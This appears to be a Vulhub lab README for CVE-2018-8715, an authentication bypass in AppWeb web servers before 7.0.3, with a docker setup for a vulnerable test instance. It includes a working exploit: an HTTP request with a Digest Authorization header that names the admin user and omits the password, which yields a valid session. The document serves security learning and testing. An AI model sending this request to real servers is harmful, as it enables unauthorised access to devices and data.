vulhub/appweb/CVE-2018-8715

AppWeb Authentication Bypass vulnerability (CVE-2018-8715)

中文版本(Chinese version)

AppWeb is an embedded Web Server based on an open source GPL agreement that was developed and maintained by Embedthis Software LLC. It is written in C/C++ and can run on almost any modern operating system. Of course, it aims to provide a Web Application container for embedded devices.

AppWeb can be configured for authentication, which includes the following three authentication methods:

• basic, traditional HTTP basic authentication
• digest, improved HTTP basic authentication. At this mode, the Cookie will be used to authentication instead of Authorization header.
• form, HTML based form authentication

In the Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.

Reference link:

• https://ssd-disclosure.com/index.php/archives/3676

Vulnerability environment

Launch an Appweb 7.0.1 server with digest authentication by executing the following command:

docker compose up -d

To access http://your-ip:8080, you need to enter your account password.

Exploit

The current username is admin, so you can use following request to bypass the authentication:

GET / HTTP/1.1
Host: example.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin

As you can see, since we did not pass in the password field, the server error occurred with a 200 status code and the session setting header:

The page can be accessed normally with this session header: